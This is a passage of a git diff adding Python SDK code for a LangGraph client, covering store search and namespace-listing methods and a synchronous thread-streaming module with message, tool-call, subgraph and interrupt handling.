---------------------------------------------------------------- + + { + "items": [ + { + "namespace": ["documents", "user123"], + "key": "item789", + "value": { + "title": "Another Document", + "author": "John Doe" + }, + "created_at": "2024-07-30T12:00:00Z", + "updated_at": "2024-07-30T12:00:00Z" + }, + # ... additional items ... + ] + } + ``` + """ + payload = { + "namespace_prefix": namespace_prefix, + "filter": filter, + "limit": limit, + "offset": offset, + "query": query, + "refresh_ttl": refresh_ttl, + } + return self.http.post( + "/store/items/search", + json=_provided_vals(payload), + headers=headers, + params=params, + ) + + def list_namespaces( + self, + prefix: list[str] | None = None, + suffix: list[str] | None = None, + max_depth: int | None = None, + limit: int = 100, + offset: int = 0, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> ListNamespaceResponse: + """List namespaces with optional match conditions. + + Args: + prefix: Optional list of strings representing the prefix to filter namespaces. + suffix: Optional list of strings representing the suffix to filter namespaces. + max_depth: Optional integer specifying the maximum depth of namespaces to return. + limit: Maximum number of namespaces to return (default is 100). + offset: Number of namespaces to skip before returning results (default is 0). + headers: Optional custom headers to include with the request. + + Returns: + A list of namespaces matching the criteria. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + namespaces = client.store.list_namespaces( + prefix=["documents"], + max_depth=3, + limit=10, + offset=0 + ) + print(namespaces) + ``` + + ```shell + ---------------------------------------------------------------- + + [ + ["documents", "user123", "reports"], + ["documents", "user456", "invoices"], + ... + ] + ``` + """ + payload = { + "prefix": prefix, + "suffix": suffix, + "max_depth": max_depth, + "limit": limit, + "offset": offset, + } + return self.http.post( + "/store/namespaces", + json=_provided_vals(payload), + headers=headers, + params=params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_sync/stream.py b/libs/sdk-py/langgraph_sdk/_sync/stream.py new file mode 100644 index 0000000..9405e7f --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/stream.py @@ -0,0 +1,1629 @@ +"""Synchronous thread-centric streaming surface for the v3 protocol. + +`SyncThreadStream` is a synchronous context manager that owns a +`SyncProtocolSseTransport` for one thread, dispatches commands (`run.start`, +`run.respond`), exposes typed subscriptions over a single shared SSE, +surfaces lifecycle state (`interrupted`, `interrupts`) via an always-on +lifecycle watcher thread, and provides typed projections (`thread.values`, +`thread.messages`, `thread.tool_calls`, `thread.extensions`). + +Sync mirror of `libs/sdk-py/langgraph_sdk/_async/stream.py`. +""" + +from __future__ import annotations + +import contextlib +import queue +import threading +from collections.abc import Iterator, Mapping +from dataclasses import dataclass +from typing import Any, Literal, TypedDict, cast + +from langchain_core.language_models.chat_model_stream import ChatModelStream +from langchain_protocol import Event, SubscribeParams + +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk.schema import QueryParamTypes +from langgraph_sdk.stream.decoders import ( + DataDecoder, + Decoder, + ExtensionsDecoder, + MessagesDecoder, + SubgraphsDecoder, + ToolCallsDecoder, + validate_interleave_channels, +) +from langgraph_sdk.stream.subscription import compute_union_filter, infer_channel +from langgraph_sdk.stream.sync_controller import SyncStreamController, _SyncSubscription +from langgraph_sdk.stream.transport import ( + SyncEventStreamHandle, + SyncProtocolSseTransport, + SyncProtocolTransport, + SyncProtocolWebSocketTransport, +) + + +class InterruptPayload(TypedDict): + """Payload surfaced when the server requests human input for a thread.""" + + interrupt_id: str + value: Any + namespace: list[str] + + +@dataclass +class _RunTerminal: + """Terminal state record resolved into `_run_done` on lifecycle completion.""" + + status: Literal["completed", "errored"] + error: BaseException | None = None + + +_ALL_CHANNELS: list[str] = [ + "values", + "updates", + "messages", + "tools", + "lifecycle", + "input", + "checkpoints", + "tasks", + "custom", +] + + +def _exact_namespace_params( + channels: list[str], + namespace: list[str], +) -> SubscribeParams: + return { + "channels": channels, + "namespaces": [list(namespace)], + "depth": 0, + } + + +def _event_namespace(params_field: Any) -> list[str]: + if not isinstance(params_field, dict): + return [] + namespace = params_field.get("namespace") or [] + return list(namespace) if isinstance(namespace, list) else [] + + +SubgraphStatus = Literal["started", "completed", "failed", "interrupted"] + + +def _parse_namespace_segment(segment: str) -> tuple[str, str | None]: + name, sep, task_id = segment.partition(":") + return name, task_id if sep else None + + +def _terminal_from_tasks_result( + data: dict[str, Any], +) -> tuple[SubgraphStatus, str | None]: + if data.get("interrupts"): + return "interrupted", None + error = data.get("error") + if error: + return "failed", str(error) + return "completed", None + + +def _is_direct_child(namespace: list[str], scope: tuple[str, ...]) -> bool: + return len(namespace) == len(scope) + 1 and tuple(namespace[: len(scope)]) == scope + + +def _subgraph_subscription_params(scope: tuple[str, ...]) -> SubscribeParams: + # Includes ``lifecycle`` so child-namespace ``started`` events (the + # ``create_deep_agent`` subagent discovery signal, matching JS) + # reach ``_subgraphs_iter`` alongside ``tasks``-based discovery. + return { + "channels": ["messages", "tasks", "tools", "lifecycle"], + "namespaces": [list(scope)], + } + + +def _message_event_id(data: dict[str, Any]) -> str | None: + message_id = data.get("id") or data.get("message_id") + return str(message_id) if message_id is not None else None + + +def _message_route_key(data: dict[str, Any], fallback: str | None = None) -> str: + """Return the routing key for a message-channel event in `active`. + + Keys on `message_id` when available so concurrent messages that share the + same `run_id` (two AI turns in one agent step) route to independent streams + rather than colliding on a shared `run:` slot. + """ + message_id = _message_event_id(data) + if message_id is not None: + return f"message:{message_id}" + if fallback is not None: + return f"message:{fallback}" + return "__single__" + + +class _BlockingResult: + def __init__(self) -> None: + self._event = threading.Event() + self._value: Any = None + self._error: BaseException | None = None + + def set_result(self, value: Any) -> None: + if self._event.is_set(): + return + self._value = value + self._event.set() + + def set_exception(self, error: BaseException) -> None: + if self._event.is_set(): + return + self._error = error + self._event.set() + + def result(self, timeout: float | None = None) -> Any: + if not self._event.wait(timeout): + raise TimeoutError("Result was not set before timeout.") + if self._error is not None: + raise self._error + return self._value + + def done(self) -> bool: + return self._event.is_set() + + +class _SyncAgentModule: + """Assistant graph helpers scoped to one sync thread stream.""" + + def __init__(self, owner: SyncThreadStream) -> None: + self._owner = owner + + def get_tree( + self, + *, + xray: int | bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict[str, list[dict[str, Any]]]: + if self._owner._closed: + raise RuntimeError("SyncThreadStream is closed.") + query_params: dict[str, Any] = {} + if xray: + query_params["xray"] = xray + if params: + query_params.update(dict(params)) + request_headers = {**self._owner._headers, **dict(headers or {})} + return self._owner._http.get( + f"/assistants/{self._owner.assistant_id}/graph", + params=query_params, + headers=request_headers or None, + ) + + +class SyncRunModule: + """Command dispatcher for `run.start`. + + Bound to one `SyncThreadStream`; accesses its transport and id allocator. + """ + + def __init__(self, owner: SyncThreadStream) -> None: + self._owner = owner + + def start( + self, + *, + input: Any = None, + config: dict[str, Any] | None = None, + metadata: dict[str, Any] | None = None, + ) -> dict[str, Any]: + """Send `run.start` to the server. Returns the result (`{"run_id": ...}`).""" + params: dict[str, Any] = {"assistant_id": self._owner.assistant_id} + if input is not None: + params["input"] = input + if config is not None: + params["config"] = config + if metadata is not None: + params["metadata"] = metadata + result = self._owner._send_command("run.start", params) + self._owner._run_seen = True + controller = self._owner._controller + if controller is not None and controller._run_start_gate is not None: + controller._run_start_gate.set() + return result + + def respond( + self, + response: Any, + *, + interrupt_id: str | None = None, + ) -> dict[str, Any]: + """Reply to a server-side interrupt and resume the run. + + Args: + response: the response value forwarded as `params.response` on the wire. + interrupt_id: optional explicit id. When omitted, requires exactly one + outstanding interrupt. + + Raises: + RuntimeError: no outstanding interrupts; `interrupt_id` is None but + multiple interrupts are outstanding; or the explicit `interrupt_id` + doesn't match any outstanding interrupt. + """ + outstanding = self._owner.interrupts + if interrupt_id is None: + if len(outstanding) == 0: + raise RuntimeError( + "thread.run.respond: no outstanding interrupt. Provide an " + "explicit `interrupt_id` or wait for `thread.interrupted`." + ) + if len(outstanding) > 1: + ids = [p["interrupt_id"] for p in outstanding] + raise RuntimeError( + f"thread.run.respond: ambiguous — {len(outstanding)} " + f"outstanding interrupts ({ids!r}). Provide an explicit " + "`interrupt_id`." + ) + match = outstanding[0] + else: + match = next( + (p for p in outstanding if p["interrupt_id"] == interrupt_id), + None, + ) + if match is None: + raise RuntimeError( + f"thread.run.respond: interrupt_id {interrupt_id!r} does not " + "match any outstanding interrupt in `thread.interrupts`." + ) + params = { + "interrupt_id": match["interrupt_id"], + "namespace": match["namespace"], + "response": response, + } + return self._owner._send_command("input.respond", params) + + +class _SyncValuesProjection: + """Typed projection for `thread.values`. + + Supports `for snapshot in thread.values` (REST snapshot then live stream + events) and `thread.values.get()` (delegates to `thread.output`). + """ + + def __init__(self, thread: SyncThreadStream) -> None: + self._thread = thread + + def __iter__(self) -> Iterator[Any]: + """Iterate over state snapshots: REST state first, then live values events.""" + return self._values_iter() + + def get(self) -> Any: + """Return terminal state values; equivalent to `thread.output`.""" + return self._thread.output + + def _values_iter(self) -> Iterator[Any]: + if self._thread._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + params: SubscribeParams = {"channels": ["values"]} + sub = self._thread._register_subscription(params) + decoder = DataDecoder("values") + try: + self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + state = self._thread._fetch_state() + yield state["values"] + while True: + item = sub.queue.get() + if item is None: + return + yield from decoder.feed(cast(dict[str, Any], item)) + finally: + self._thread._unregister_subscription(sub.id) + + +class _SyncMessagesProjection: + """Typed projection for root-scope `thread.messages`. + + Iterating yields one `ChatModelStream` per message-start event. Each + stream is fully dispatched before being yielded so that `str(message.text)` + works immediately inside a `for` loop. + """ + + def __init__( + self, thread: SyncThreadStream, namespace: list[str] | None = None + ) -> None: + self._thread = thread + self._namespace = list(namespace or []) + + def __iter__(self) -> Iterator[ChatModelStream]: + return self._messages_iter() + + def _messages_iter(self) -> Iterator[ChatModelStream]: + if self._thread._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + root_inbox = self._thread._root_messages_inbox if not self._namespace else None + if root_inbox is not None: + yield from _drain_messages_inbox(root_inbox, self._namespace, self._thread) + return + params = _exact_namespace_params(["messages"], self._namespace) + sub = self._thread._register_subscription(params) + decoder = MessagesDecoder( + namespace=self._namespace, + stream_factory=lambda *, namespace, node, message_id: ChatModelStream( + namespace=namespace, node=node, message_id=message_id + ), + ) + registered: list[ChatModelStream] = [] + pending: list[ChatModelStream] = [] + try: + self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = sub.queue.get() + if item is None: + # EOF: surface remaining streams (possibly incomplete) in start order. + while pending: + yield pending.pop(0) + return + for stream in decoder.feed(cast(dict[str, Any], item)): + self._thread._register_active_message_stream(stream) + registered.append(stream) + pending.append(stream) + # Surface in start order once each (and all earlier) streams are done, + # so `str(stream.text)` is ready on yield (sync pre-dispatch contract). + while pending and pending[0]._done: + yield pending.pop(0) + finally: + for stream in registered: + self._thread._unregister_active_message_stream(stream) + self._thread._unregister_subscription(sub.id) + + +def _drain_messages_inbox( + inbox: queue.Queue[Event | None], + namespace: list[str], + thread: SyncThreadStream, +) -> Iterator[ChatModelStream]: + """Drain a pre-filled inbox of messages events, yielding one stream per message. + + Mirrors the pre-dispatch pattern in `_SyncMessagesProjection._messages_iter`: + each `message-start` triggers an inner loop that reads ahead until the stream + is `_done` before yielding, so callers can do `str(stream.text)` immediately. + """ + active: dict[str, ChatModelStream] = {} + try: + while True: + item = inbox.get() + if item is None: + return + params_field = item.get("params") or {} + data = params_field.get("data") if isinstance(params_field, dict) else None + if not isinstance(data, dict): + continue + event_type = data.get("event") + if event_type == "message-start": + message_id = _message_event_id(data) + key = _message_route_key(data, fallback=message_id) + metadata = ( + data.get("metadata") + if isinstance(data.get("metadata"), dict) + else {} + ) + stream = ChatModelStream( + namespace=list(namespace), + node=metadata.get("langgraph_node") if metadata else None, + message_id=message_id, + ) + active[key] = stream + thread._register_active_message_stream(stream) + stream.dispatch(data) + # Pre-dispatch all remaining events for this message so the + # caller can access str(stream.text) immediately inside a for loop. + while not stream._done: + next_item = inbox.get() + if next_item is None: + inbox.put(None) + break + next_params = next_item.get("params") or {} + next_data = ( + next_params.get("data") + if isinstance(next_params, dict) + else None + ) + if not isinstance(next_data, dict): + continue + next_event_type = next_data.get("event") + next_key = _message_route_key(next_data) + target = active.get(next_key) + if target is None and next_key == "__single__" and len(active) == 1: + target = next(iter(active.values())) + if target is not None: + target.dispatch(next_data) + if next_event_type in ("message-finish", "error"): + thread._unregister_active_message_stream(target) + for rk, cand in list(active.items()): + if cand is target: + del active[rk] + yield stream + else: + key = _message_route_key(data) + stream = active.get(key) + if stream is None and key == "__single__" and len(active) == 1: + stream = next(iter(active.values())) + if stream is None: + continue + stream.dispatch(data) + if event_type in ("message-finish", "error"): + thread._unregister_active_message_stream(stream) + for route_key, candidate in list(active.items()): + if candidate is stream: + del active[route_key] + finally: + for s in active.values(): + thread._unregister_active_message_stream(s) + + +class SyncToolCallHandle: + """Sync handle for one root-scope tool call.""" + + def __init__( + self, + *, + tool_call_id: str, + name: str, + input: Any = None, + namespace: list[str] | None = None, + max_queue_size: int = 1024, + ) -> None: + self.tool_call_id = tool_call_id + self.name = name + self.input = input + self.namespace = list(namespace or []) + self.done = False + self.error: BaseException | None = None + self._result: _BlockingResult = _BlockingResult() + self._deltas: queue.Queue[str | None] = queue.Queue(maxsize=max_queue_size) + self._deltas_consumed: bool = False + + @property + def output(self) -> Any: + """Block until the tool call completes and return its output.""" + return self._result.result() + + @property + def deltas(self) -> Iterator[str]: + """Iterate over tool output deltas emitted before the terminal event. + + Raises: + RuntimeError: if called more than once — the underlying queue is + single-consumer and cannot be fanned out safely. + """ + if self._deltas_consumed: + raise RuntimeError( + "SyncToolCallHandle.deltas can only be iterated by a single consumer." + ) + self._deltas_consumed = True + return self._delta_iter() + + def _delta_iter(self) -> Iterator[str]: + while True: + item = self._deltas.get() + if item is None: + return + yield item + + def _push_delta(self, delta: str) -> None: + if self.done: + return + self._deltas.put_nowait(delta) + + def _finish(self, output: Any) -> None: + if self.done: + return + self.done = True + self._result.set_result(output) + self._deltas.put_nowait(None) + + def _fail(self, err: BaseException) -> None: + if self.done: + return + self.done = True + self.error = err + self._result.set_exception(err) + self._deltas.put_nowait(None) + + +class _SyncToolCallsProjection: + """Typed projection for root-scope `thread.tool_calls`.""" + + def __init__( + self, thread: SyncThreadStream, namespace: list[str] | None = None + ) -> None: + self._thread = thread + self._namespace = list(namespace or []) + + def __iter__(self) -> Iterator[SyncToolCallHandle]: + return self._tool_calls_iter() + + def _tool_calls_iter(self) -> Iterator[SyncToolCallHandle]: + if self._thread._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + params = _exact_namespace_params(["tools"], self._namespace) + sub = self._thread._register_subscription(params) + decoder = ToolCallsDecoder( + namespace=self._namespace, + handle_factory=lambda *, tool_call_id, name, input, namespace: ( + SyncToolCallHandle( + tool_call_id=tool_call_id, + name=name, + input=input, + namespace=namespace, + ) + ), + ) + registered: list[SyncToolCallHandle] = [] + pending: list[SyncToolCallHandle] = [] + try: + self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = sub.queue.get() + if item is None: + # EOF: surface remaining handles (possibly incomplete) in start order. + while pending: + yield pending.pop(0) + return + for handle in decoder.feed(cast(dict[str, Any], item)): + self._thread._register_active_tool_call(handle) + registered.append(handle) + pending.append(handle) + # Surface in start order once each (and all earlier) handles are done, + # so `call.output` is resolved when the caller receives the handle. + while pending and pending[0].done: + yield pending.pop(0) + finally: + # Read terminal error from _run_done if it is already resolved. + # We do NOT block here: callers who need a terminal observation + # should access `thread.output` directly. Blocking in iterator + # teardown would stall every early break or exception exit for + # up to the full wait timeout (previously 1 s). + run_done = self._thread._run_done + terminal_err: BaseException | None = None + if run_done is not None and run_done.done(): + try: + terminal = run_done.result() + terminal_err = terminal.error + except Exception: + pass + err: BaseException = ( + terminal_err + if terminal_err is not None + else RuntimeError("Tool call stream closed before terminal tool event.") + ) + for handle in list(decoder._active.values()): + handle._fail(err) + for handle in registered: + self._thread._unregister_active_tool_call(handle) + self._thread._unregister_subscription(sub.id) + + +class SyncScopedStreamHandle: + """Scoped streaming handle for one discovered child invocation.""" + + def __init__( + self, + *, + thread: SyncThreadStream, + path: tuple[str, ...], + graph_name: str | None, + trigger_call_id: str | None, + max_queue_size: int = 0, + ) -> None: + self._thread = thread + self.path = path + self.namespace = list(path) + self.graph_name = graph_name + self.trigger_call_id = trigger_call_id + self.status: SubgraphStatus = "started" + self.error: str | None = None + self._max_queue_size = max_queue_size + self._finish_lock = threading.Lock() + self._messages_inbox: queue.Queue[Event | None] = queue.Queue( + maxsize=max_queue_size + ) + self._tools_inbox: queue.Queue[Event | None] = queue.Queue( + maxsize=max_queue_size + ) + self._tasks_inbox: queue.Queue[Event | None] = queue.Queue( + maxsize=max_queue_size + ) + # Descendant handles registered by _SyncHandleSubgraphsProjection when a + # grandchild is discovered. _push_event fans out to each matching + # descendant at dispatch time so events arrive in arrival order without + # any drain-and-replay. + self._descendant_handles: dict[tuple[str, ...], SyncScopedStreamHandle] = {} + # Track which inboxes have a consumer so _close_inboxes only sends a + # sentinel where it is needed. Inboxes with no consumer would otherwise + # accumulate a leaked None sentinel that is never drained. + self._iterated_inboxes: set[str] = set() + self.messages = _SyncHandleMessagesProjection(self) + self.tool_calls = _SyncHandleToolCallsProjection(self) + self.subgraphs = _SyncHandleSubgraphsProjection(self) + self.subagents = self.subgraphs + self.extensions = _SyncExtensionsProjection(thread, namespace=list(path)) + + def _push_event(self, event: Event) -> None: + """Route a descendant event into the appropriate channel inbox. + + Also fans out to any registered descendant handles whose path is a + prefix of the event namespace, so grandchild events are delivered at + push time rather than via a post-hoc drain-and-replay. + """ + method = event.get("method") + if method == "messages": + self._messages_inbox.put_nowait(event) + elif method == "tools": + self._tools_inbox.put_nowait(event) + elif method == "tasks": + self._tasks_inbox.put_nowait(event) + # Fan out to descendant handles whose namespace is a prefix of the + # event namespace so they receive the event at push time. + if method in ("messages", "tools", "tasks"): + ns_tuple = tuple(_event_namespace(event.get("params") or {})) + for desc_path, desc_handle in list(self._descendant_handles.items()): + desc_len = len(desc_path) + if len(ns_tuple) >= desc_len and ns_tuple[:desc_len] == desc_path: + desc_handle._push_event(event) + + def _register_descendant(self, handle: SyncScopedStreamHandle) -> None: + """Register a newly-discovered grandchild so future events are fanned out. + + Also drains any events already buffered in this handle's inboxes whose + namespace matches the grandchild, so events that arrived before the + grandchild was discovered are forwarded in arrival order. + """ + self._descendant_handles[handle.path] = handle + desc_len = len(handle.path) + for inbox_attr in ( + "_messages_inbox", + "_tools_inbox", + "_tasks_inbox", + ): + inbox: queue.Queue[Event | None] = getattr(self, inbox_attr) + staging: list[Event | None] = [] + while True: + try: + staging.append(inbox.get_nowait()) + except queue.Empty: + break + for event in staging: + inbox.put_nowait(event) + if event is None: + continue + ns_tuple = tuple(_event_namespace(event.get("params") or {})) + if len(ns_tuple) >= desc_len and ns_tuple[:desc_len] == handle.path: + getattr(handle, inbox_attr).put_nowait(event) + + def _unregister_descendant(self, path: tuple[str, ...]) -> None: + """Remove a grandchild after it reaches a terminal state.""" + self._descendant_handles.pop(path, None) + + def _mark_iterated(self, kind: str) -> None: + """Record that an inbox has an active consumer. + + If the handle is already closed (status != 'started'), immediately + enqueue a sentinel so the consumer's `get()` terminates. This + handles sequential consumption (iterate after the handle is finished). + + Must be called by each projection at the start of iteration. + """ + self._iterated_inboxes.add(kind) + if self.status != "started": + # Handle already closed before this consumer started; send the + # sentinel now so the projection iterator can terminate. + getattr(self, f"_{kind}_inbox").put_nowait(None) + + def _close_inboxes(self) -> None: + """Signal EOF only on channel inboxes that have an active consumer. + + Inboxes without a consumer would accumulate a leaked None sentinel + that is never drained, so we skip them. For inboxes whose consumer + starts after this call, `_mark_iterated` sends the sentinel lazily. + """ + for kind in ("messages", "tools", "tasks"): + if kind in self._iterated_inboxes: + getattr(self, f"_{kind}_inbox").put_nowait(None) + + def _finish(self, status: SubgraphStatus, error: str | None = None) -> None: + with self._finish_lock: + if self.status != "started": + return + self.status = status + self.error = error + self._close_inboxes() + + +class _SyncHandleMessagesProjection: + """Messages projection that drains a `SyncScopedStreamHandle`'s messages inbox.""" + + def __init__(self, handle: SyncScopedStreamHandle) -> None: + self._handle = handle + + def __iter__(self) -> Iterator[ChatModelStream]: + return self._messages_iter() + + def _messages_iter(self) -> Iterator[ChatModelStream]: + self._handle._mark_iterated("messages") + active: dict[str, ChatModelStream] = {} + namespace = self._handle.namespace + inbox = self._handle._messages_inbox + try: + while True: + item = inbox.get() + if item is None: + return + params_field = item.get("params") or {} + ns = _event_namespace(params_field) + if ns != namespace: + continue + data = ( + params_field.get("data") if isinstance(params_field, dict) else None + ) + if not isinstance(data, dict): + continue + event_type = data.get("event") + if event_type == "message-start": + message_id = _message_event_id(data) + key = _message_route_key(data, fallback=message_id) + metadata = ( + data.get("metadata") + if isinstance(data.get("metadata"), dict) + else {} + ) + stream = ChatModelStream( + namespace=list(namespace), + node=metadata.get("langgraph_node") if metadata else None, + message_id=message_id, + ) + active[key] = stream + stream.dispatch(data) + yield stream + else: + key = _message_route_key(data) + stream = active.get(key) + if stream is None and len(active) == 1: + stream = next(iter(active.values())) + if stream is None: + continue + stream.dispatch(data) + if event_type in ("message-finish", "error"): + for route_key, candidate in list(active.items()): + if candidate is stream: + del active[route_key] + finally: + pass + + +class _SyncHandleToolCallsProjection: + """Tool calls projection that drains a `SyncScopedStreamHandle`'s tools inbox.""" + + def __init__(self, handle: SyncScopedStreamHandle) -> None: + self._handle = handle + + def __iter__(self) -> Iterator[SyncToolCallHandle]: + return self._tool_calls_iter() + + def _tool_calls_iter(self) -> Iterator[SyncToolCallHandle]: + self._handle._mark_iterated("tools") + active: dict[str, SyncToolCallHandle] = {} + namespace = self._handle.namespace + inbox = self._handle._tools_inbox + while True: + item = inbox.get() + if item is None: + err = RuntimeError( + "Tool call stream closed before terminal tool event." + ) + for h in active.values(): + h._fail(err) + return + params_field = item.get("params") or {} + ns = _event_namespace(params_field) + if ns != namespace: + continue + data = params_field.get("data") if isinstance(params_field, dict) else None + if not isinstance(data, dict): + continue + event_type = data.get("event") + tool_call_id = data.get("tool_call_id") + if not isinstance(tool_call_id, str): + continue + if event_type == "tool-started": + tool_name = data.get("tool_name") + if not isinstance(tool_name, str): + tool_name = "" + handle = SyncToolCallHandle( + tool_call_id=tool_call_id, + name=tool_name, + input=data.get("input"), + namespace=list(namespace), + ) + active[tool_call_id] = handle + yield handle + elif event_type == "tool-output-delta": + h = active.get(tool_call_id) + delta = data.get("delta") + if h is not None and isinstance(delta, str): + h._push_delta(delta) + elif event_type == "tool-finished": + h = active.pop(tool_call_id, None) + if h is not None: + h._finish(data.get("output")) + elif event_type == "tool-error": + h = active.pop(tool_call_id, None) + if h is not None: + message = data.get("message") + h._fail( + RuntimeError(str(message) if message else "Tool call errored") + ) + + +class _SyncHandleSubgraphsProjection: + """Subgraphs projection that drains a `SyncScopedStreamHandle`'s tasks inbox.""" + + def __init__(self, handle: SyncScopedStreamHandle) -> None: + self._handle = handle + + def __iter__(self) -> Iterator[SyncScopedStreamHandle]: + return self._subgraphs_iter() + + def _subgraphs_iter(self) -> Iterator[SyncScopedStreamHandle]: + self._handle._mark_iterated("tasks") + seen: set[tuple[str, ...]] = set() + active: dict[tuple[str, ...], SyncScopedStreamHandle] = {} + scope = self._handle.path + while True: + item = self._handle._tasks_inbox.get() + if item is None: + # Determine terminal status from the parent run's lifecycle result. + # If _run_done resolved as errored, force-complete remaining children + # as failed so callers see the correct terminal state. + terminal_status: SubgraphStatus = "completed" + run_done = self._handle._thread._run_done + if run_done is not None and run_done.done(): + try: + result = run_done.result(timeout=0) + if ( + isinstance(result, _RunTerminal) + and result.status == "errored" + ): + terminal_status = "failed" + except Exception: + pass + for child in active.values(): + if child.status == "started": + child._finish(terminal_status) + return + params_field = item.get("params") or {} + namespace = _event_namespace(params_field) + data = params_field.get("data") if isinstance(params_field, dict) else None + if not isinstance(data, dict): + continue + if "result" in data: + result_id = data.get("id") + if not result_id: + continue + parent_path = tuple(namespace) + for child_path, child_handle in list(active.items()): + if child_path[:-1] != parent_path: + continue + if child_handle.trigger_call_id != result_id: + continue + status, error = _terminal_from_tasks_result(data) + child_handle._finish(status, error) + del active[child_path] + self._handle._unregister_descendant(child_path) + continue + if not _is_direct_child(namespace, scope): + continue + path = tuple(namespace) + if path in seen: + continue + seen.add(path) + graph_name, trigger_call_id = _parse_namespace_segment(path[-1]) + child_handle = SyncScopedStreamHandle( + thread=self._handle._thread, + path=path, + graph_name=graph_name or None, + trigger_call_id=trigger_call_id, + max_queue_size=self._handle._max_queue_size, + ) + active[path] = child_handle + # Register so future _push_event calls on this handle fan out to the + # grandchild at push time, preserving arrival order without drain-and-replay. + self._handle._register_descendant(child_handle) + yield child_handle + + +class _SyncSubgraphsProjection: + """Discover direct child invocations for a namespace scope.""" + + def __init__(self, thread: SyncThreadStream, scope: tuple[str, ...] = ()) -> None: + self._thread = thread + self._scope = scope + + def __iter__(self) -> Iterator[SyncScopedStreamHandle]: + return self._subgraphs_iter() + + def _subgraphs_iter(self) -> Iterator[SyncScopedStreamHandle]: + if self._thread._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + params = _subgraph_subscription_params(self._scope) + sub = self._thread._register_subscription(params) + decoder = SubgraphsDecoder( + scope=self._scope, + handle_factory=lambda *, path, graph_name, trigger_call_id: ( + SyncScopedStreamHandle( + thread=self._thread, + path=path, + graph_name=graph_name, + trigger_call_id=trigger_call_id, + ) + ), + ) + root_inbox: queue.Queue[Event | None] | None = ( + self._thread._activate_root_messages_inbox() if not self._scope else None + ) + try: + self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = sub.queue.get() + if item is None: + return + params_field = item.get("params") or {} + if ( + root_inbox is not None + and item.get("method") == "messages" + and tuple(_event_namespace(params_field)) == self._scope + ): + root_inbox.put_nowait(item) + for handle in decoder.feed(cast(dict[str, Any], item)): + yield handle + finally: + # Determine terminal status from the run's lifecycle result. + # If _run_done resolved as errored, force-complete remaining children + # as failed so callers see the correct terminal state. + terminal_status: SubgraphStatus = "completed" + run_done = self._thread._run_done + if run_done is not None and run_done.done(): + try: + result = run_done.result(timeout=0) + if isinstance(result, _RunTerminal) and result.status == "errored": + terminal_status = "failed" + except Exception: + pass + for handle in decoder._active.values(): + if handle.status == "started": + handle._finish(terminal_status) + self._thread._unregister_subscription(sub.id) + if root_inbox is not None: + root_inbox.put_nowait(None) + + +class _SyncExtensionsProjection: + """Mapping from extension name to custom event payload stream. + + Repeated access for the same `name` returns the cached projection so that + callers receive the same subscription handle across multiple references to + `thread.extensions["foo"]` within one session. + """ + + def __init__(self, thread: SyncThreadStream, namespace: list[str]) -> None: + self._thread = thread + self._namespace = namespace + self._cache: dict[str, _SyncExtensionProjection] = {} + + def __getitem__(self, name: str) -> _SyncExtensionProjection: + if not name: + raise ValueError("extension name must be non-empty.") + if name not in self._cache: + self._cache[name] = _SyncExtensionProjection( + self._thread, + name=name, + namespace=self._namespace, + ) + return self._cache[name] + + +class _SyncExtensionProjection: + def __init__( + self, + thread: SyncThreadStream, + *, + name: str, + namespace: list[str], + ) -> None: + self._thread = thread + self._name = name + self._namespace = namespace + + def __iter__(self) -> Iterator[dict[str, Any]]: + return self._iter() + + def _iter(self) -> Iterator[dict[str, Any]]: + params: SubscribeParams = {"channels": [f"custom:{self._name}"]} + if self._namespace: + params["namespaces"] = [self._namespace] + sub = self._thread._register_subscription(params) + decoder = ExtensionsDecoder(name=self._name) + try: + if self._thread._closed: + return + self._thread._reconcile_stream(params) + self._thread._ensure_fanout_running() + while True: + item = sub.queue.get() + if item is None: + return + yield from decoder.feed(cast(dict[str, Any], item)) + finally: + self._thread._unregister_subscription(sub.id) + + +class SyncThreadStream: + """Synchronous context manager for one thread's v3 streaming session. + + Construct via `client.threads.stream(thread_id=None, *, assistant_id, ...)` + rather than instantiating directly. + """ + + def __init__( + self, + *, + http: SyncHttpClient, + thread_id: str, + assistant_id: str, + headers: Mapping[str, str] | None = None, + run_start_timeout: float | None = None, + explicit_thread_id: bool = False, + transport_kind: Literal["sse", "websocket"] = "sse", + ) -> None: + self._http = http + self._headers = dict(headers or {}) + self.thread_id = thread_id + self.assistant_id = assistant_id + self._run_start_timeout = run_start_timeout + self._explicit_thread_id = explicit_thread_id + self._transport_kind = transport_kind + self._closed = False + self._transport: SyncProtocolTransport | None = None + self._controller: SyncStreamController | None = None + self._command_id_lock = threading.Lock() + self._next_command_id = 1 + self.interrupted: bool = False + self.interrupts: list[InterruptPayload] = [] + self._lifecycle_watcher_thread: threading.Thread | None = None + self._lifecycle_watcher_handle: SyncEventStreamHandle | None = None + self._lifecycle_cursor: int | None = None + self._lifecycle_max_reconnect_attempts = 5 + self._run_seen: bool = False + self._run_done: _BlockingResult | None = None + self._active_message_streams: set[ChatModelStream] = set() + self._active_tool_calls: set[SyncToolCallHandle] = set() + self._root_messages_inbox: queue.Queue[Event | None] | None = None + self.run = SyncRunModule(self) + self.agent = _SyncAgentModule(self) + self.values = _SyncValuesProjection(self) + self.messages = _SyncMessagesProjection(self, namespace=[]) + self.tool_calls = _SyncToolCallsProjection(self, namespace=[]) + self.subgraphs = _SyncSubgraphsProjection(self, scope=()) + self.subagents = self.subgraphs + self.extensions = _SyncExtensionsProjection(self, namespace=[]) + + def __enter__(self) -> SyncThreadStream: + if self._closed: + raise RuntimeError("SyncThreadStream is closed and cannot be re-entered.") + transport_cls = ( + SyncProtocolWebSocketTransport + if self._transport_kind == "websocket" + else SyncProtocolSseTransport + ) + self._transport = transport_cls( + client=self._http.client, + thread_id=self.thread_id, + headers=self._headers, + ) + # Gate is unset; SyncRunModule.start (or an 